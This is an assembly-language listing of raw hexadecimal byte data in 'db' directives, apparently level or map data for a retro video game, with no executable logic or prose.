db $3B, $27, $39, $8A, $50, $2C, $8A, $60
db $04, $8A, $70, $04, $54, $54, $83, $03
db $E9, $83, $13, $E9, $85, $22, $0E, $70
db $2C, $71, $2D, $72, $2B, $73, $2C, $74
db $2D, $75, $2B, $76, $2C, $77, $2D, $78
db $2B, $79, $2C, $FE, $0B, $0E, $8A, $00
db $3A, $8A, $10, $3A, $8A, $20, $3A, $C2
db $01, $3F, $C2, $07, $3E, $21, $3B, $27
db $39, $8A, $50, $2C, $8A, $60, $04, $8A
db $70, $04, $54, $54, $03, $D5, $04, $D6
db $05, $D7, $85, $22, $03, $83, $34, $03
db $23, $09, $25, $09, $36, $09, $82, $32
db $1B, $84, $43, $1B, $13, $CD, $14, $E1
db $15, $CE, $E1, $03, $7A, $50, $7C, $70
db $2C, $71, $2D, $72, $2B, $73, $2C, $74
db $2D, $75, $2B, $76, $2C, $77, $2D, $78
db $2B, $79, $2C, $26, $C6, $E1, $1F, $E9
db $28, $20, $FE, $0B, $04, $8A, $00, $3A
db $8A, $10, $3A, $C2, $01, $3F, $21, $3B
db $88, $22, $0E, $8A, $30, $0E, $83, $40
db $0E, $43, $2B, $86, $44, $2C, $83, $50
db $2C, $53, $31, $20, $3A, $35, $FC, $39
db $FC, $56, $E0, $70, $2D, $71, $FC, $75
db $FC, $79, $2B, $C2, $03, $E9, $C2, $05
db $E9, $C2, $07, $E9, $69, $0A, $FE, $0B
db $04, $8A, $00, $3A, $8A, $10, $3A, $8A
db $20, $0E, $8A, $30, $0E, $8A, $40, $2C
db $30, $2C, $31, $2D, $40, $E8, $41, $38
db $50, $2F, $51, $34, $34, $FC, $82, $60
db $0A, $83, $64, $0A, $70, $2C, $71, $2D
db $74, $FC, $45, $C6, $55, $E0, $E1, $1F
db $EA, $88, $70, $38, $2B, $39, $2C, $48
db $31, $49, $04, $FE, $03, $04, $8A, $00
db $3A, $8A, $10, $3A, $8A, $20, $0E, $8A
db $30, $2C, $C5, $34, $0E, $C5, $35, $0E
db $33, $2D, $36, $2B, $43, $F2, $46, $EA
db $51, $6E, $C2, $53, $F3, $C2, $56, $F0
db $68, $6E, $69, $F5, $73, $F4, $76, $F1
db $75, $CA, $15, $E1, $E1, $1F, $F2, $48
db $7C, $FE, $03, $04, $88, $00, $3A, $08
db $3F, $09, $2D, $88, $10, $3A, $C7, $18
db $0E, $C7, $19, $38, $88, $20, $0E, $C2
db $36, $0E, $C5, $37, $0E, $85, $30, $2C
db $35, $2D, $45, $38, $55, $32, $56, $2D
db $C2, $66, $38, $6F, $F5, $82, $70, $F5
db $18, $3B, $57, $CA, $68, $CA, $61, $C6
db $E1, $1F, $E7, $48, $10, $FE, $03, $04
db $C2, $00, $0E, $C2, $01, $37, $C5, $30
db $37, $83, $46, $E8, $82, $55, $E8, $C2
db $51, $F5, $62, $F5, $68, $F5, $79, $F5
db $34, $E8, $54, $D4, $21, $31, $20, $2B
db $12, $44, $25, $44, $41, $44, $C4, $09
db $37, $39, $2E, $49, $39, $25, $0A, $83
db $36, $0A, $16, $FD, $E1, $10, $A8, $50
db $7C, $FE, $03, $04, $60, $F5, $68, $F5
db $86, $7F, $F5, $C2, $49, $0A, $86, $43
db $0A, $82, $55, $0A, $08, $0A, $22, $44
db $C4, $00, $38, $30, $4E, $40, $3B, $C2
db $09, $37, $29, $2E, $39, $39, $23, $F5
db $27, $F5, $82, $31, $E8, $35, $F5, $36
db $F5, $36, $45, $46, $E1, $E1, $10, $9B
db $50, $7C, $FE, $03, $04, $C3, $02, $11
db $32, $15, $33, $10, $34, $19, $C2, $44
db $11, $87, $03, $1B, $87, $13, $1B, $87
db $23, $1B, $85, $35, $1B, $85, $45, $1B
db $85, $55, $1B, $82, $68, $1B, $54, $15
db $55, $10, $56, $19, $67, $1B, $83, $77
db $1B, $84, $60, $F5, $86, $7F, $F5, $C2
db $13, $30, $C2, $05, $51, $19, $51, $24
db $30, $26, $51, $82, $45, $30, $82, $48
db $51, $57, $30, $C2, $58, $51, $82, $08
db $51, $11, $44, $33, $D4, $C2, $00, $38
db $20, $4E, $30, $3B, $C2, $40, $0A, $51
db $0A, $53, $44, $37, $51, $FE, $03, $1B
db $84, $70, $1B, $86, $7F, $F5, $C2, $00
db $51, $C3, $04, $51, $C4, $06, $51, $C2
db $09, $51, $33, $51, $83, $40, $51, $83
db $47, $51, $53, $51, $82, $61, $30, $65
db $51, $82, $67, $30, $FE, $03, $04, $86
db $00, $1B, $86, $10, $1B, $84, $20, $1B
db $83, $30, $1B, $83, $40, $1B, $83, $50
db $1B, $83, $60, $1B, $83, $70, $1B, $83
db $00, $51, $05, $51, $C2, $06, $12, $82
db $F7, $F5, $10, $51, $C2, $12, $51, $15
db $30, $19, $F5, $24, $1A, $25, $10, $26
db $16, $27, $F5, $31, $51, $33, $1A, $34
db $16, $35, $F5, $82, $40, $51, $C2, $43
db $12, $C2, $44, $20, $52, $30, $59, $F5
db $61, $30, $62, $F5, $82, $66, $F5, $82
db $7F, $F5, $82, $77, $F5, $11, $A0, $FE
db $03, $04, $60, $F5, $C5, $FF, $F5, $68
db $F5, $85, $71, $F5, $C3, $02, $37, $32
db $2E, $87, $33, $2F, $36, $48, $82, $37
db $4A, $39, $49, $42, $39, $87, $43, $3A
db $45, $B6, $46, $E1, $47, $B6, $E1, $15
db $F0, $50, $7C, $C2, $30, $04, $83, $03
db $0F, $06, $14, $82, $13, $1B, $15, $30
db $16, $12, $82, $23, $1B, $25, $1A, $26
db $16, $53, $6F, $FE, $03, $04, $30, $2F
db $40, $3A, $83, $22, $3A, $11, $3D, $12
db $48, $13, $4A, $14, $49, $15, $4E, $05
db $38, $25, $3B, $06, $3B, $82, $32, $0A
db $42, $0A, $16, $0A, $46, $E8, $64, $E8
db $C2, $59, $F5, $68, $F5, $77, $F5, $31
db $4E, $41, $3B, $60, $F5, $7F, $F5, $24
db $3A, $21, $38, $43, $D4, $FE, $0B, $04
db $86, $7F, $F5, $5F, $F5, $C2, $06, $37
db $C2, $37, $37, $26, $2E, $36, $39, $27
db $3C, $57, $2E, $67, $39, $82, $58, $2F
db $82, $68, $3A, $09, $09, $28, $09, $09
db $37, $19, $2E, $29, $39, $FE, $0B, $04
db $C2, $04, $38, $83, $05, $3A, $08, $3E
db $C2, $09, $3A, $15, $3A, $18, $39, $23
db $3D, $24, $4E, $C2, $33, $38, $53, $4E
db $83, $50, $2F, $83, $60, $3A, $34, $3F
db $44, $3B, $63, $3F, $73, $3F, $7F, $F5
db $72, $38, $C3, $16, $37, $46, $33, $47
db $3C, $57, $33, $82, $58, $2F, $82, $28
db $0A, $C3, $25, $0E, $83, $54, $0E, $86
db $64, $0E, $74, $0E, $75, $2B, $84, $76
db $2C, $00, $38, $10, $4E, $20, $3B, $16
db $DE, $72, $DD, $FE, $0B, $04, $82, $00
db $3A, $82, $10, $3A, $C2, $01, $E0, $02
db $3F, $12, $3B, $84, $20, $0A, $03, $0A
db $16, $F5, $8A, $50, $2F, $8A, $60, $0E
db $8A, $70, $2C, $04, $33, $05, $2F, $06
db $34, $82, $07, $0A, $09, $33, $82, $14
db $0A, $19, $0A, $FE, $0B, $04, $35, $3D
db $84, $36, $2F, $45, $38, $84, $46, $0E
db $85, $50, $2F, $55, $34, $82, $56, $0E
db $58, $2B, $59, $2C, $88, $60, $0E, $68
db $37, $69, $F5, $88, $70, $2C, $78, $31
db $8A, $00, $0A, $82, $10, $0A, $83, $14
db $0A, $19, $0A, $00, $2F, $01, $34, $04
db $33, $05, $2F, $06, $34, $09, $33, $FE
db $0B, $04, $86, $30, $2F, $36, $3C, $46
db $33, $47, $2F, $48, $3C, $C2, $58, $37
db $68, $2E, $69, $3C, $79, $37, $78, $3E
db $86, $40, $0E, $88, $50, $0E, $84, $64
db $0E, $77, $0E, $83, $50, $2C, $51, $E0
db $53, $2D, $6F, $F5, $63, $38, $73, $32
db $82, $74, $2C, $76, $2D, $33, $48, $34
db $E0, $35, $49, $00, $2F, $01, $34, $02
db $33, $03, $2F, $04, $34, $05, $33, $06
db $2F, $07, $34, $08, $37, $09, $E8, $88
db $10, $0A, $18, $33, $19, $2F, $85, $25
db $0A, $82, $37, $0A, $FE, $0A, $04, $00
db $38, $10, $34, $01, $37, $02, $E8, $03
db $38, $11, $33, $12, $2F, $13, $34, $05
db $37, $06, $E8, $07, $38, $15, $33, $16
db $2F, $17, $34, $09, $37, $19, $33, $41
db $3D, $88, $42, $2F, $51, $38, $61, $4E
db $60, $3D, $70, $38, $71, $3F, $52, $0E
db $87, $53, $0E, $83, $67, $0E, $83, $62
db $E9, $83, $72, $E9, $65, $49, $66, $3C
db $75, $3A, $76, $2E, $83, $77, $2F, $84
db $20, $0A, $14, $0A, $83, $25, $0A, $18
db $0A, $29, $0A, $FE, $0A, $04, $00, $E8
db $01, $38, $10, $2F, $11, $34, $04, $37
db $05, $E8, $06, $38, $14, $33, $15, $2F
db $16, $34, $8A, $40, $2F, $8A, $50, $0E
db $60, $0E, $70, $2F, $71, $4E, $61, $3D
db $62, $48, $72, $3A, $82, $63, $E9, $82
db $73, $E9, $65, $49, $84, $66, $2F, $85
db $75, $3A, $82, $20, $0A, $83, $24, $0A
db $FE, $0B, $04, $C2, $03, $38, $C4, $04
db $0E, $05, $2B, $06, $31, $C2, $09, $F5
db $C3, $15, $37, $21, $3D, $22, $E0, $23
db $34, $31, $38, $83, $32, $0E, $40, $2F
db $41, $34, $83, $42, $CA, $45, $33, $84
db $46, $2F, $8A, $50, $0E, $8A, $60, $2F
db $8A, $70, $3A, $FE, $03, $04, $C2, $0F
db $F5, $01, $FD, $82, $21, $0A, $14, $0A
db $C2, $06, $38, $25, $3D, $26, $34, $35
db $38, $45, $34, $84, $40, $2F, $44, $E0
db $89, $60, $2F, $89, $70, $3A, $C8, $09
db $38, $C6, $07, $0E, $C3, $36, $0E, $86
db $50, $0E, $C6, $08, $0E, $23, $D4, $69
db $4E, $79, $3F, $E1, $10, $B0, $50, $7C
db $01, $B6, $02, $B7, $03, $66, $FE, $03
db $04, $C8, $00, $37, $C4, $01, $90, $C4
db $02, $90, $41, $88, $C3, $51, $87, $03
db $8E, $C2, $13, $87, $33, $8A, $86, $34
db $85, $88, $42, $84, $C2, $F1, $F5, $14
db $08, $27, $08, $52, $08, $83, $53, $5C
db $75, $0A, $76, $8F, $83, $77, $85, $08
db $8F, $09, $90, $18, $8D, $19, $84, $F9
db $F5, $35, $8E, $36, $04, $37, $8F, $45
db $8C, $46, $E8, $47, $8D, $28, $44, $72
db $44, $FE, $03, $04, $8A, $00, $90, $86
db $FF, $F5, $8A, $10, $84, $16, $89, $17
db $88, $26, $86, $27, $87, $36, $8D, $37
db $8C, $C2, $47, $E8, $82, $30, $85, $32
db $8E, $40, $84, $41, $89, $C4, $42, $87
db $C2, $51, $86, $70, $85, $71, $8B, $58
db $8F, $59, $85, $67, $8F, $77, $86, $82
db $68, $90, $82, $78, $90, $68, $F5, $79
db $F5, $83, $33, $5C, $44, $5C, $34, $A0
db $28, $08, $C2, $66, $0A, $65, $08, $38
db $44, $73, $44, $FE, $03, $04, $8A, $00
db $90, $86, $FF, $F5, $8A, $10, $84, $11
db $89, $21, $86, $31, $8D, $32, $8C, $22
db $87, $12, $88, $13, $92, $14, $89, $24
db $86, $34, $8D, $35, $84, $23, $E4, $36
db $8C, $26, $87, $16, $88, $50, $8E, $60
db $8A, $61, $8E, $70, $90, $71, $87, $48
db $8F, $49, $85, $58, $86, $68, $8B, $66
db $8F, $67, $85, $76, $86, $83, $77, $90
db $C2, $59, $90, $C2, $20, $0A, $41, $0A
db $42, $20, $44, $20, $53, $20, $C2, $47
db $0A, $C2, $65, $0A, $51, $08, $C2, $15
db $90, $59, $F5, $82, $77, $F5, $7F, $F5
db $33, $E3, $E1, $11, $B3, $50, $7C, $56
db $44, $64, $44, $FE, $03, $04, $8A, $00
db $90, $85, $FF, $F5, $8A, $10, $84, $28
db $8C, $40, $85, $41, $8E, $51, $87, $61
db $8A, $86, $62, $85, $88, $70, $90, $86
db $7F, $F5, $67, $8E, $C2, $50, $90, $5F
db $F5, $86, $52, $0A, $68, $0A, $32, $08
db $48, $08, $69, $08, $17, $89, $27, $8D
db $82, $18, $90, $82, $28, $90, $C2, $08
db $F5, $19, $F5, $33, $44, $46, $44, $FE
db $03, $04, $82, $FF, $F5, $82, $F7, $F5
db $85, $00, $F5, $82, $04, $04, $82, $14
db $04, $82, $1F, $F5, $7F, $F5, $C2, $59
db $F5, $83, $23, $E8, $83, $63, $E8, $C3
db $32, $E8, $C3, $36, $E8, $83, $33, $0A
db $83, $43, $0A, $83, $53, $0A, $82, $50
db $0B, $82, $61, $0B, $72, $0B, $33, $E8
db $35, $E8, $53, $E8, $55, $E8, $37, $44
db $58, $44, $20, $F5, $26, $20, $FE, $03
db $04, $86, $FF, $F5, $85, $00, $F5, $C2
db $5F, $F5, $13, $F5, $33, $20, $42, $3D
db $82, $43, $2F, $44, $E0, $45, $3C, $84
db $46, $0A, $51, $20, $52, $38, $82, $53
db $1B, $55, $37, $83, $56, $0A, $61, $0A
db $62, $32, $82, $63, $2C, $65, $31, $66
db $0A, $83, $73, $0A, $20, $44, $78, $44
db $22, $D4, $27, $FD, $E1, $0E, $AD, $50
db $7C, $C2, $59, $F5, $FE, $03, $04, $FF
db $F5, $59, $0A, $C2, $00, $F5, $82, $F7
db $F5, $14, $FB, $18, $FB, $36, $FB, $49
db $FB, $53, $FB, $75, $FB, $79, $FB, $C3
db $12, $0A, $23, $0A, $83, $33, $09, $82
db $42, $09, $C2, $40, $0A, $51, $09, $82
db $67, $09, $82, $38, $03, $48, $03, $82
db $56, $03, $82, $71, $03, $C2, $5F, $F5
db $41, $20, $FE, $03, $04, $50, $0A, $86
db $FF, $F5, $C4, $08, $F5, $10, $FB, $25
db $FB, $3F, $FB, $52, $FB, $70, $B7, $22
db $E8, $15, $09, $23, $09, $84, $30, $03
db $82, $44, $09, $47, $03, $55, $E8, $67
db $09, $82, $56, $03, $82, $64, $03, $82
db $72, $03, $82, $74, $09, $77, $03, $06
db $F5, $17, $F5, $FE, $03, $04, $FF, $F5
db $10, $3D, $11, $2F, $12, $4E, $02, $38
db $03, $3B, $21, $3A, $22, $3B, $C6, $20
db $38, $C5, $31, $0E, $83, $32, $0E, $C3
db $13, $0E, $C4, $04, $0E, $05, $9B, $84
db $06, $99, $84, $16, $96, $84, $26, $93
db $C3, $15, $9A, $45, $9E, $82, $43, $99
db $42, $9B, $C3, $52, $9A, $82, $53, $96
db $55, $98, $82, $63, $93, $65, $95, $59
db $9B, $68, $9B, $78, $9A, $C2, $69, $9A
db $73, $F5, $FE, $03, $04, $8A, $00, $99
db $8A, $10, $96, $8A, $20, $93, $82, $42
db $F5, $39, $44, $8A, $50, $99, $8A, $60
db $0C, $8A, $70, $0C, $46, $C6, $E2, $1F
db $EB, $18, $30, $FE, $03, $04, $86, $00
db $99, $06, $9C, $82, $07, $F5, $86, $10
db $96, $C3, $16, $9A, $86, $20, $93, $83
db $27, $44, $83, $37, $44, $28, $D3, $46
db $9D, $82, $47, $99, $49, $9C, $50, $9C
db $56, $97, $82, $57, $96, $C3, $59, $9A
db $C2, $60, $9A, $61, $9C, $71, $9A, $66
db $94, $82, $67, $93, $E2, $1F, $EC, $68
db $30, $FE, $03, $04, $0F, $F5, $C2, $06
db $0E, $C8, $07, $0E, $08, $39, $C7, $18
db $0E, $C8, $09, $37, $C2, $40, $F5, $03
db $F5, $04, $F5, $14, $E1, $04, $45, $E1
db $10, $CC, $50, $7C, $C8, $06, $38, $FE
db $0A, $EB, $C8, $00, $38, $01, $3F, $11
db $3B, $83, $02, $E9, $83, $12, $E9, $C2
db $05, $3A, $C2, $06, $3E, $26, $39, $83
db $07, $3A, $83, $17, $3A, $83, $27, $3A
db $C4, $21, $ED, $52, $ED, $82, $24, $ED
db $46, $ED, $47, $C8, $82, $61, $E9, $82
db $71, $E9, $82, $67, $E9, $82, $77, $E9
db $63, $2B, $69, $2B, $73, $2E, $79, $2E
db $82, $64, $2C, $66, $2D, $82, $74, $2F
db $76, $4E, $C2, $22, $ED, $FE, $0A, $EB
db $C3, $00, $3A, $C2, $01, $3F, $02, $3B
db $C2, $02, $3A, $85, $05, $3A, $85, $15
db $3A, $82, $03, $E9, $82, $13, $E9, $31
db $ED, $32, $C8, $C2, $25, $ED, $46, $ED
db $58, $ED, $17, $21, $18, $4F, $26, $B6
db $27, $4F, $28, $21, $29, $B7, $36, $CD
db $37, $21, $38, $4F, $39, $CE, $47, $CD
db $48, $CE, $60, $2C, $61, $2D, $70, $2F
db $71, $4E, $21, $3B, $62, $FB, $64, $FB
db $66, $FB, $78, $B6, $79, $B7, $FE, $09
db $EB, $8A, $00, $3A, $8A, $10, $3A, $20
db $FB, $C4, $24, $ED, $45, $FB, $47, $FB
db $49, $B6, $59, $CD, $70, $FB, $72, $FB
db $74, $C8, $75, $FB, $77, $FB, $79, $B6
db $C2, $24, $EB, $FE, $09, $ED, $89, $00
db $3A, $89, $10, $3A, $C2, $09, $3F, $C6
db $29, $38, $87, $20, $EB, $85, $30, $EB
db $37, $EB, $82, $45, $EE, $82, $57, $EE
db $36, $C8, $47, $C8, $55, $C8, $66, $C8
db $56, $EC, $40, $B7, $50, $CE, $70, $B7
db $41, $FB, $60, $EB, $FE, $03, $04, $C8
db $00, $37, $C5, $01, $87, $C3, $05, $0A
db $C2, $06, $86, $07, $88, $08, $92, $09
db $89, $17, $87, $18, $E4, $C6, $19, $86
db $C3, $23, $5C, $26, $8D, $27, $8C, $83
db $36, $0A, $51, $8A, $52, $85, $53, $8E
db $82, $61, $90, $63, $87, $82, $71, $90
db $73, $8A, $85, $74, $85, $79, $8B, $61
db $F5, $12, $08, $42, $08, $64, $08, $34
db $44, $45, $44, $58, $44, $28, $E3, $E1
db $0A, $AB, $50, $7C, $FE, $03, $04, $00
db $90, $01, $88, $02, $8C, $C2, $06, $0A
db $07, $86, $08, $90, $C8, $09, $90, $C5
db $F9, $F5, $10, $88, $11, $8C, $17, $8D
db $18, $89, $C5, $20, $87, $21, $08, $82
db $23, $5C, $27, $44, $C4, $28, $86, $C2
db $32, $5C, $33, $F5, $C2, $35, $5C, $36
db $44, $C3, $37, $0A, $82, $53, $5C, $C2
db $56, $0A, $63, $44, $64, $08, $67, $8F
db $68, $8B, $70, $8A, $71, $85, $72, $8E
db $82, $75, $0A, $77, $86, $78, $90, $FE
db $03, $04, $83, $07, $90, $C8, $00, $90
db $C8, $01, $87, $06, $86, $C5, $FF, $F5
db $82, $F7, $F5, $C4, $19, $90, $C2, $19
db $F5, $C3, $28, $86, $85, $75, $85, $73
db $8F, $58, $8D, $59, $84, $16, $8D, $17
db $84, $18, $89, $C2, $05, $0A, $26, $0A
db $C2, $52, $0A, $C2, $63, $0A, $24, $08
db $27, $08, $56, $08, $69, $08, $72, $08
db $75, $8F, $83, $33, $44, $83, $43, $44
db $83, $53, $44, $27, $20, $E1, $1F, $E1
db $88, $50, $FE, $03, $0A, $8A, $00, $90
db $86, $FF, $F5, $C4, $10, $90, $C2, $1F
db $F5, $C7, $19, $90, $C4, $19, $F5, $C3
db $21, $87, $86, $12, $84, $C6, $28, $86
db $82, $70, $85, $72, $8E, $51, $8C, $50
db $84, $11, $88, $18, $89, $82, $61, $04
db $67, $04, $76, $04, $60, $08, $77, $8F
db $78, $8B, $23, $3D, $82, $24, $2F, $26
db $3C, $33, $38, $82, $34, $0E, $36, $37
db $43, $32, $82, $44, $2C, $46, $31, $FE
db $03, $04, $C5, $FF, $F5, $60, $F5, $85
db $71, $F5, $21, $3D, $83, $22, $2F, $25
db $3C, $C2, $31, $38, $51, $32, $52, $2D
db $62, $32, $82, $63, $2C, $25, $3C, $C3
db $35, $37, $65, $31, $83, $32, $0E, $83
db $42, $0E, $82, $53, $0E, $02, $0B, $86
db $12, $0B, $C4, $F9, $F5, $84, $75, $04
db $C6, $27, $0B, $FE, $03, $04, $86, $7F
db $F5, $C4, $FF, $F5, $60, $F5, $82, $14
db $09, $84, $41, $09, $82, $52, $09, $02
db $44, $59, $09, $82, $67, $09, $62, $E8
db $82, $45, $03, $54, $03, $83, $63, $03
db $26, $F5, $32, $F5, $38, $F5, $C2, $F9
db $F5, $11, $F5, $24, $20, $35, $20, $82
db $77, $04, $FE, $03, $04, $01, $09, $05
db $CD, $06, $CE, $82, $02, $03, $08, $09
db $09, $CD, $16, $FB, $19, $09, $22, $FB
db $30, $FB, $34, $FB, $36, $E8, $42, $09
db $43, $E8, $82, $50, $09, $82, $52, $03
db $82, $56, $09, $58, $03, $82, $60, $03
db $82, $63, $09, $83, $46, $03, $86, $7F
db $F5, $59, $FB, $C2, $FF, $F5, $FE, $03
db $04, $C4, $08, $F5, $85, $7F, $F5, $82
db $73, $04, $00, $CE, $83, $04, $03, $82
db $10, $09, $13, $03, $14, $09, $82, $16
db $03, $21, $03, $22, $FB, $82, $25, $03
db $27, $09, $82, $42, $09, $44, $03, $45
db $FB, $4F, $FB, $51, $09, $82, $52, $03
db $54, $09, $57, $09, $62, $09, $63, $03
db $82, $66, $03, $82, $34, $03, $61, $03
db $FE, $03, $04, $C8, $00, $38, $C8, $01
db $0E, $C2, $62, $0E, $C3, $02, $9A, $C4
db $43, $9A, $C7, $08, $9A, $09, $9D, $32
db $9D, $78, $9D, $33, $9C, $42, $97, $52
db $94, $19, $97, $29, $94, $C2, $F3, $F5
db $76, $F5, $35, $44, $64, $44, $C4, $39
db $0D, $79, $99, $C2, $57, $20, $FE, $03
db $0D, $8A, $00, $99, $03, $9C, $83, $04
db $0C, $07, $9B, $10, $F9, $E1, $14, $D5
db $50, $7C, $13, $9D, $83, $14, $99, $17
db $9E, $82, $18, $96, $23, $B7, $24, $F9
db $E1, $14, $D6, $50, $7C, $27, $B7, $82
db $28, $93, $33, $A2, $37, $A2, $43, $B6
db $47, $B6, $83, $70, $99, $82, $78, $99
db $73, $9C, $77, $9B, $FE, $03, $04, $00
db $9E, $C7, $01, $9A, $C7, $09, $9A, $10
db $98, $20, $95, $C4, $30, $0D, $70, $99
db $71, $9E, $77, $9B, $78, $99, $79, $9E
db $15, $E8, $32, $E8, $38, $E8, $45, $E8
db $63, $E8, $67, $E8, $72, $F5, $FE, $03
db $04, $C8, $09, $37, $C2, $06, $38, $C3
db $34, $38, $24, $3D, $25, $2F, $26, $34
db $83, $34, $38, $64, $32, $65, $2C, $66
db $2D, $67, $38, $C8, $07, $0E, $C8, $08
db $0E, $C3, $35, $0E, $C3, $36, $0E, $13
db $44, $75, $44, $76, $38, $C4, $00, $F5
db $74, $F5, $FE, $0A, $EB, $C8, $00, $38
db $03, $3E, $82, $04, $3A, $06, $3F, $C3
db $13, $37, $C3, $16, $38, $43, $33, $44
db $48, $45, $E0, $46, $34, $C3, $14, $04
db $C3, $15, $04, $82, $01, $E9, $82, $07
db $E9, $09, $39, $C5, $11, $ED, $C5, $12
db $ED, $C3, $17, $ED, $56, $C8, $47, $C8
db $24, $A0, $68, $FB, $71, $FB, $73, $FB
db $75, $FB, $77, $FB, $78, $4F, $79, $21
db $FE, $09, $EB, $00, $3A, $01, $3B, $02
db $2B, $84, $03, $2C, $07, $2D, $08, $CD
db $09, $CE, $12, $37, $84, $13, $04, $16
db $A0, $C2, $17, $38, $22, $33, $23, $3C
db $83, $24, $04, $33, $33, $34, $48, $35
db $E0, $36, $49, $37, $34, $C2, $11, $ED
db $32, $ED, $43, $ED, $46, $C8, $60, $FB
db $71, $FB, $73, $FB, $75, $FB, $77, $FB
db $70, $4F, $71, $21, $79, $B6, $14, $6F
db $FE, $09, $EB, $C3, $40, $EC, $41, $2B
db $42, $2C, $43, $2C, $44, $2D, $C2, $51
db $37, $C2, $54, $38, $71, $33, $82, $72
db $2F, $74, $34, $82, $52, $04, $82, $62
db $04, $28, $C8, $37, $C8, $58, $C8, $66
db $C8, $27, $EC, $31, $EC, $36, $EC, $57
db $EC, $65, $EC, $00, $CD, $02, $CD, $05
db $CD, $07, $CD, $09, $CD, $01, $CE, $03
db $CE, $06, $CE, $08, $CE, $04, $C8, $70
db $B7, $75, $FB, $77, $FB, $79, $B6, $FE
db $09, $ED, $00, $CE, $C6, $10, $EB, $82
db $31, $EB, $82, $06, $EB, $82, $46, $EB
db $83, $03, $EE, $82, $37, $EE, $43, $EE
db $13, $FB, $15, $FB, $24, $21, $25, $4F
db $34, $CD, $35, $CE, $44, $FB, $53, $FB
db $55, $FB, $54, $4F, $55, $21, $64, $21
db $65, $4F, $74, $CD, $75, $CE, $C2, $17
db $C8, $C2, $57, $C8, $C8, $09, $38, $70
db $B7, $FE, $03, $04, $C8, $00, $37, $C8
db $01, $90, $C8, $02, $90, $C8, $03, $90
db $C5, $04, $87, $04, $88, $85, $05, $84
db $38, $8F, $39, $85, $C2, $48, $86, $C2
db $49, $90, $49, $F5, $C2, $51, $F5, $53
db $88, $54, $8C, $C2, $63, $87, $68, $8D
db $69, $84, $15, $08, $36, $08, $65, $08
db $25, $44, $29, $44, $56, $44, $C2, $01
db $F5, $C2, $12, $F5, $FE, $03, $04, $82
db $00, $84, $02, $8C, $C4, $07, $86, $C4
db $08, $90, $C4, $09, $90, $C2, $11, $0A
db $13, $08, $22, $0A, $47, $8D, $82, $48
db $84, $83, $30, $85, $33, $8E, $36, $5C
db $83, $40, $90, $C2, $43, $87, $83, $50
db $90, $82, $4F, $F5, $83, $60, $84, $63
db $8C, $65, $08, $67, $8F, $82, $68, $85
db $77, $86, $82, $78, $90, $79, $F5, $C2
db $08, $F5, $19, $F5, $44, $44, $56, $44
db $FE, $03, $04, $C4, $00, $90, $C2, $FF
db $F5, $C4, $01, $87, $84, $06, $90, $84
db $16, $90, $84, $26, $90, $84, $36, $84
db $C3, $05, $86, $35, $8D, $45, $D4, $86
db $74, $85, $73, $8F, $16, $88, $17, $92
db $18, $89, $26, $87, $27, $E4, $28, $86
db $36, $8C, $38, $8D, $37, $E3, $E1, $0A
db $BD, $50, $7C, $39, $89, $C3, $49, $86
db $40, $84, $41, $8C, $60, $85, $61, $8E
db $70, $90, $71, $87, $7F, $F5, $72, $08
db $82, $65, $08, $58, $08, $79, $8B, $52
db $44, $FE, $03, $04, $86, $FF, $F5, $82
db $00, $F5, $82, $1F, $F5, $C3, $3F, $F5
db $82, $20, $F5, $33, $F5, $44, $F5, $55
db $F5, $C3, $18, $0B, $39, $0B, $27, $08
db $75, $3D, $76, $48, $77, $E0, $78, $49
db $79, $2F, $84, $05, $04, $67, $20, $C2
db $07, $0B, $82, $41, $44, $83, $51, $44
db $83, $61, $44, $52, $C4, $FE, $03, $04
db $86, $FF, $F5, $13, $FB, $14, $FB, $14
db $C8, $24, $E1, $32, $FB, $35, $FB, $20
db $08, $18, $08, $86, $70, $2F, $76, $3C
db $77, $0A, $30, $0B, $C3, $31, $0B, $83
db $52, $0B, $C2, $34, $0B, $C2, $19, $F5
db $28, $F5, $47, $20, $C2, $56, $E8, $79
db $F5, $48, $D4, $E1, $0E, $A2, $50, $7C
db $82, $07, $04, $FE, $03, $0A, $8A, $00
db $04, $C7, $10, $04, $86, $FF, $F5, $C2
db $1F, $F5, $89, $11, $51, $C6, $21, $51
db $85, $22, $09, $33, $C4, $34, $03, $35
db $C4, $37, $C4, $38, $03, $45, $09, $46
db $03, $C2, $51, $04, $53, $C4, $54, $03
db $55, $C4, $57, $C4, $82, $58, $09, $65
db $03, $82, $66, $09, $7F, $F5, $82, $72
db $09, $82, $77, $03, $79, $F5, $29, $FB
db $49, $FB, $69, $FB, $FE, $03, $0A, $8A
db $00, $04, $85, $FF, $F5, $03, $08, $04
db $04, $82, $18, $04, $88, $10, $51, $82
db $13, $04, $C6, $29, $51, $82, $31, $03
db $33, $C4, $35, $C4, $37, $C4, $82, $42
db $03, $44, $09, $82, $47, $03, $83, $50
db $03, $51, $0A, $53, $C4, $55, $C4, $57
db $C4, $82, $62, $09, $7F, $F5, $82, $75
db $03, $08, $F5, $20, $B7, $30, $CE, $40
db $B7, $50, $CE, $60, $B7, $70, $CE, $FE
db $03, $04, $C8, $00, $38, $C8, $01, $0E
db $C6, $02, $0E, $C6, $03, $9A, $62, $9B
db $63, $9E, $72, $9A, $73, $9B, $86, $74
db $99, $C2, $F6, $F5, $08, $B7, $18, $A2
db $28, $B6, $09, $96, $19, $93, $FE, $03
db $04, $8A, $70, $99, $83, $74, $04, $8A
db $00, $96, $8A, $10, $93, $23, $B7, $27
db $B7, $33, $A2, $37, $A2, $43, $B6, $47
db $B6, $03, $9A, $07, $9A, $13, $9D, $17
db $9E, $83, $14, $99, $83, $04, $0D, $24
db $F9, $C3, $22, $5C, $C3, $28, $5C, $C2
db $32, $5C, $C3, $44, $5C, $C4, $45, $0C
db $C3, $46, $5C, $72, $9B, $73, $9C, $77
db $9B, $78, $9C, $E1, $14, $D3, $50, $7C
db $FE, $03, $04, $00, $96, $10, $93, $01
db $B7, $11, $A2, $21, $B6, $C2, $F2, $F5
db $C6, $70, $9A, $67, $9D, $68, $9C, $87
db $70, $99, $77, $9C, $78, $9A, $82, $48
db $2F, $82, $58, $0E, $C2, $69, $0E, $C6
db $07, $9A, $08, $96, $09, $98, $18, $93
db $19, $95, $48, $E0, $FE, $03, $04, $C8
db $09, $37, $C2, $06, $38, $C5, $37, $38
db $36, $32, $27, $2D, $40, $2F, $41, $3C
db $C3, $51, $37, $C3, $50, $0E, $C2, $07
db $0E, $C8, $08, $0E, $00, $F5, $F4, $F5
db $C4, $03, $0D, $C4, $34, $0D, $C2, $36
db $5C, $C2, $52, $5C, $63, $5C, $C2, $55
db $F5, $72, $F5, $26, $32, $FE, $09, $EE
db $01, $CD, $02, $CE, $03, $CD, $04, $CE
